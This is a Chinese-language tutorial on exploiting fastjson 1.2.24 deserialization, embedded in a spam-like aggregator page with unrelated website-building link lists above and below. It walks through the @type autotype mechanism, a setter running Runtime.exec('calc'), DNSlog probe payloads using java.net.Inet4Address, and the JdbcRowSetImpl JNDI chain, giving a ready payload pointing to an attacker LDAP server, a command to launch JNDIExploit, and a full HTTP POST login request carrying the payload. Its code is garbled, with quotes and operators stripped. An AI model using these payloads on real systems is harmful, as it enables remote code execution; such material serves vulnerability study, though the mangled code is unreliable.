当前位置: 首页 > news >正文

沧州市网站五莲网站建设报价

沧州市网站,五莲网站建设报价,关于插画的网站,网页设计与制作论文2000字文章目录 1、简介fastjson2、fastjson的使用2.1、将类序列化为字符串2.2、将字符串还原为对象2.3、小结以上2.4、稍微扩展思路 3、fastjson漏洞利⽤原理与dnslog4、JdbcRowSetImpl利用链4.1、JdbcRowSetImpl的基本知识4.2、利用代码复现4.3、生成poc4.4、模拟真实场景4.5、利用… 文章目录 1、简介fastjson2、fastjson的使用2.1、将类序列化为字符串2.2、将字符串还原为对象2.3、小结以上2.4、稍微扩展思路 3、fastjson漏洞利⽤原理与dnslog4、JdbcRowSetImpl利用链4.1、JdbcRowSetImpl的基本知识4.2、利用代码复现4.3、生成poc4.4、模拟真实场景4.5、利用链代码分析 1、简介fastjson Fastjson 是⼀个 Java 库可以将 Java 对象转换为 JSON 格式当然它也可以将 JSON 字符串转换为Java 对象。Fastjson 可以操作任何 Java 对象即使是⼀些预先存在的没有源码的对象。Fastjson 源码地址https://github.com/alibaba/fastjsonFastjson 中⽂ Wikihttps://github.com/alibaba/fastjson/wiki/Quick-Start-CN添加pom.xml依赖 dependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.24/version/dependency2、fastjson的使用 简单了解将对象转化为json以及从json还原对象2.1、将类序列化为字符串 主要就是 JSON.toJSONString 函数的使用该函数可以仅仅传入一个参数也可以传入两个参数序列化生成的字符串略有区别user.java package com.example.demo2;public class user {private int age;private String username;private String password;// 默认无参数构造函数public user() {System.out.println(无参构造方法被调用);}public user(int age, String username, String password) {System.out.println(有参构造方法被调用);this.age age;this.username username;this.password password;}public int getAge() {System.out.println(get函数被调用);return age;}public void setAge(int age) {System.out.println(set函数被调用);this.age age;}public String getUsername() {return username;}public void setUsername(String username) {this.username username;}public String getPassword() {return password;}public void setPassword(String password) {this.password password;}Overridepublic String toString() {System.out.println(toString函数被调用。。。);return user{ age age , username username \ , password password \ } ;}} main.java package com.example.demo2;import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature;public class main {public static void main(String[] args) throws Exception {user user new user(12, xbb, 123456);// 序列化⽅式String json1 JSON.toJSONString(user);//生成的JSON字符串中包含类名以便在反序列化时能够恢复正确的类类型String json2 JSON.toJSONString(user, SerializerFeature.WriteClassName);System.out.println(json1);System.out.println(json2);System.out.println(json1的变量类型 json1.getClass().getSimpleName());} 输出如下可以看到类以及被序列化为json类型的字符串 有参构造方法被调用 {age:12,password:123456,username:xbb} {type:com.example.demo2.user,age:12,password:123456,username:xbb} json1的变量类型String2.2、将字符串还原为对象 设计两个函数JSON.parseJSON.parseObjectmain.java package com.example.demo2;import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature;public class main {public static void main(String[] args) throws Exception {user user new user(12, xbb, 123456);// 序列化⽅式String json1 JSON.toJSONString(user);//生成的JSON字符串中包含类名以便在反序列化时能够恢复正确的类类型String json2 JSON.toJSONString(user, SerializerFeature.WriteClassName);// System.out.println(json1); // System.out.println(json2); // System.out.println(json1的变量类型 json1.getClass().getSimpleName());System.out.println();//使用JSON.parse函数从字符串还原为对象System.out.println(JSON.parse(json1));//输出还原成什么类型JSONObjectSystem.out.println(JSON.parse(json1).getClass().getSimpleName());System.out.println(JSON.parseObject(json1));//输出还原成什么类型JSONObjectSystem.out.println(JSON.parseObject(json1).getClass().getSimpleName());System.out.println();//使用JSON.parseObject 函数从字符串还原为对象System.out.println(JSON.parse(json2));System.out.println();System.out.println(JSON.parseObject(json2));} 对于“ JSON.toJSONString(user) ”这种方式序列化的字符串两种还原函数得到的结果一致。对于“ JSON.toJSONString(user, SerializerFeature.WriteClassName) ” 这种方式序列化得到的字符串两个函数还原得到的结果不一致且还原和上面的字符串还原的过程也不一致对于json2字符串使用JSON.parseObject函数还原的过程调用无参构造方法调用了set函数调用了get函数输出结果和json1还原一致对于json1字符串使用JSON.parseObject函数还原过程调用无参构造方法调用set函数调用toString函数输出结果和以上3个不同有参构造方法被调用 get函数被调用 get函数被调用{password:123456,age:12,username:xbb} JSONObject {password:123456,age:12,username:xbb} JSONObject无参构造方法被调用 set函数被调用 toString函数被调用。。。 user{age12, usernamexbb, password123456}无参构造方法被调用 set函数被调用 get函数被调用 {password:123456,age:12,username:xbb}继续增加JSON.parseObject函数的参数 System.out.println(JSON.parseObject(json1,user.class)); System.out.println(JSON.parseObject(json2,user.class)); 输出结果一样 无参构造方法被调用 set函数被调用 toString函数被调用。。。 user{age12, usernamexbb, password123456}无参构造方法被调用 set函数被调用 toString函数被调用。。。 user{age12, usernamexbb, password123456} 2.3、小结以上 序列化函数JSON.toJSONString(对象可选参数)测试可选参数为SerializerFeature.WriteClassName反序列化函数JSON.parse(字符串)JSON.parseObject(字符串可选参数)可选参数为指定还原对象类型如user.class2.4、稍微扩展思路 由上面的测试我们知道假设反序列化的值是由用户可控的话假设原本的get/set/toString/无参构造方法内存在高危功能代码那么就会产生漏洞因为以json2格式字符串任何反序列化的函数都会触发set函数我们假设set函数的内容如下 public String getUsername() {return username; }public void setUsername(String username) {this.username username;try {Runtime.getRuntime().exec(calc); // Runtime.getRuntime().exec(username);} catch (IOException e) {e.printStackTrace();}} main.java package com.example.demo2;import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature;public class main {public static void main(String[] args) throws Exception {String json2 {\type\:\com.example.demo2.user\,\age\:12,\password\:\123456\,\username\:\xxx\};System.out.println(JSON.parseObject(json2));}} 运行就会弹出计算器 这个弹出计算器是原代码写死的假设我们在改动下set函数假设执行的命令是有反序列化得到的则就会造成命令注入。3、fastjson漏洞利⽤原理与dnslog json字符串中带有type漏洞是利⽤fastjson autotype在处理json对象的时候未对type字段进⾏完全的安全性验证攻击者可以传⼊危险类并调⽤危险类连接远程rmi主机通过其中的恶意类执⾏代码。攻击者通过这种⽅式可以实现远程代码执⾏漏洞的利⽤获取服务器的敏感信息泄露甚⾄可以利⽤此漏洞进⼀步对服务器数据进⾏修改增加删除等操作对服务器造成巨⼤的影响。上面是比较官方的说法其实由上面的测试我们也知道我们假设set函数内存在高危功能点且参数可控则造成的危害是比较大的。然而我们的user类setname函数内没有高危功能和可控参数如何造成危害呢其实这里答案比较明确了既然反序列化的字符串都是可控的user类没有这种功能点那Jdk自带的那么多类总是存在这样的地方把有package com.example.demo2;import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature;public class main {public static void main(String[] args) throws Exception {String json2 {\type\:\java.net.Inet4Address\, \val\:\aa.8fhj7r.3lasix.dnslog.cn\};System.out.println(JSON.parse(json2));}} 类似的JSON.parseObject也可以虽然报错了但是dns已经发出了请求String json2 {\type\:\java.net.Inet4Address\, \val\:\bb.8fhj7r.3lasix.dnslog.cn\};System.out.println(JSON.parseObject(json2));小结可用poc String json2 {\type\:\java.net.Inet4Address\, \val\:\bb.8fhj7r.3lasix.dnslog.cn\};类似的还有下面这个String json2 {\type\:\java.net.InetSocketAddress\{\address\:, \val\:\enst5r.cc9cve.dnslog.cn\}\n;4、JdbcRowSetImpl利用链 4.1、JdbcRowSetImpl的基本知识 上面我们利用jdk自带的类和函数实现了dnslog的探测但是更多的时候目的都是rce 今天要说的 JdbcRowSetImpl 利用链不是java的原生类而是java标准库的类需要导入包使用简单的理解Java的标准库不是java自带的是Java 的官方维护者Oracle Corporation以前是 Sun Microsystems提供的因此它是官方推荐的和广泛使用的一组类和包。所以使用较广。另外java的标准库有很多的功能一般需要什么功能会导入具体功能的jar包。而JdbcRowSetImpl 用于支持 JDBC 操作因此非常常见。4.2、利用代码复现 先启动恶意服务器java -jar .\JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.1.25package com.example.test; import com.sun.rowset.JdbcRowSetImpl;import java.sql.SQLException;public class test2 {public static void main(String[] args) throws SQLException {JdbcRowSetImpl jdbcRowSet new JdbcRowSetImpl();jdbcRowSet.setDataSourceName(ldap://192.168.1.25:1389/Basic/Command/calc);jdbcRowSet.setAutoCommit(true);} } 4.3、生成poc 这个标准库的JdbcRowSetImpl是可以触发漏洞的那么我们参考之前的序列化后的字符串改造我们的poc代码和得到poc{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://192.168.1.25:1389/Basic/Command/calc, autoCommit:true}package com.example.test;import com.alibaba.fastjson.JSON; import com.sun.rowset.JdbcRowSetImpl;import java.sql.SQLException;public class test2 {public static void main(String[] args) throws SQLException {// JdbcRowSetImpl jdbcRowSet new JdbcRowSetImpl(); // jdbcRowSet.setDataSourceName(ldap://192.168.1.25:1389/Basic/Command/calc); // jdbcRowSet.setAutoCommit(true);String payload {\type\:\com.sun.rowset.JdbcRowSetImpl\,\dataSourceName\:\ldap://192.168.1.25:1389/Basic/Command/calc\, \autoCommit\:true};System.out.println(payload);JSON.parse(payload);} } 4.4、模拟真实场景 这个是一个登录理想的代码即拿到请求参数使用fastjson进行反序列化所以我们直接将传参变为poc即可详细的请求数据包POST /login HTTP/1.1 Host: localhost:8080 Content-Length: 123 sec-ch-ua: Chromium;v95, ;Not A Brand;v99 Accept: application/json, text/javascript, */*; q0.01 Content-Type: application/json;charsetUTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 sec-ch-ua-platform: Windows Origin: http://localhost:8080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8080/index.jsp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9 Cookie: JSESSIONIDF9AD741194B4DCAC1D5914AC33163088 Connection: close{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://192.168.1.25:1389/Basic/Command/calc, autoCommit:true}4.5、利用链代码分析 先看12行的代码其实从函数的名称上就可以知道这个函数的是给 DataSourceName 赋值的跟一下吧跟进JdbcRowSetImpl.class进入到setDataSourceNmame()因为初始化的时候getDataSourceNmame()为空进入elsevar变量的值就是传入的payload继续进setDataSourceName函数这里就结束了执行完最初的12行执行13行跟进去判断this.conn是否为空我们也没有给this.conn设置值肯定是空进入else逻辑执行 this.connect 函数这里直接进入else原因还是没有设置this.conn的值然后326行代码lookup的参数就是上面12行设置的 DataSourceName 的值payload是可控的而lookup()远程加载payload就造成了JNDI注入漏洞。
http://www.huolong8.cn/news/5721/

相关文章:

  • 临沂网站维护公司厦门零基础学seo
  • 制作自己网站有什么用计算机专业网站开发开题报告
  • 搭建dede网站服务器企业seo多少费用
  • 承接网站建设文案遵义仁怀网站建设
  • 网站备案号图标简述常用的网络营销方法有哪些
  • 坪山城市建设局官方网站太原网站模板
  • 发布文章后马上更新网站主页自己的电脑做服务器建立网站的方法
  • 群晖可以做几个网站it行业公司排名
  • 网站建设盐城建站管理过程
  • 外国的贸易网站定做微信小程序
  • 在什么网站上做自媒体网站检测中心
  • 麦积区建设局网站wordpress分类列表插件
  • 央企网站建设百度做免费推广的步骤
  • 精品资源共享课网站建设无极网页游戏
  • 河南省建设厅网站wordpress建站服务器选择
  • 广元网站建设工作室建个微商城网站多少钱
  • 制作链接的app的软件温州哪里有网站优化
  • 网站开发策略烟台主流网站
  • 推进门户网站建设工作会议做网站主要学什么
  • 网站制作什么品牌好华为虚拟主机
  • 学校网站怎么做的好坏微信小店可以做分类网站
  • 做论坛网站要多少配置的服务器Wordpress+仿站+工具
  • 烟台网站排名系统在网站上做教育直播平台多少钱
  • 简单电子商务网站建设南京建设网站内容
  • 郑州建设工程交易中心网站外贸企业网站改版
  • 国外的素材网站外贸网站怎么做会吸引眼球
  • mysql 收费 网站建设网站留言板的作用
  • 月饼网站建设wordpress英文版 菜单
  • o2o的网站有哪些成都网站建设服务
  • 做粘土网站棋牌游戏在哪做网站